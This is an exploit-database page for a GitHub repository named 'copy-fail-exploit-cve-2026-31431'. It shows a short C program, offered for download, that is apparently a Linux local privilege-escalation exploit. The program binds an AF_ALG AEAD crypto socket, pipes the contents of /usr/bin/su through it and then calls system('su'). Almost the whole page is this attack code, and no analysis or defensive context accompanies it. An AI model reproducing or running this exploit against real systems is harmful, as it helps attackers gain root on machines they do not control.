Exploit databaseDownload repository ZIP
GH-8e76473ce2b29d89cecd1754565a5f90
painoob/copy-fail-exploit-cve-2026-31431
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
painoob/copy-fail-exploit-cve-2026-31431Revision 3da330bc0161
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
copy_fail.exp.c
C · 660 bytes#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <string.h>
int main() {
int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))"
};
bind(sock, (struct sockaddr *)&sa, sizeof(sa));
int opfd = accept(sock, NULL, 0);
int fd = open("/usr/bin/su", O_RDONLY);
char buf[4096];
read(fd, buf, sizeof(buf));
write(opfd, buf, sizeof(buf));
system("su");
return 0;
}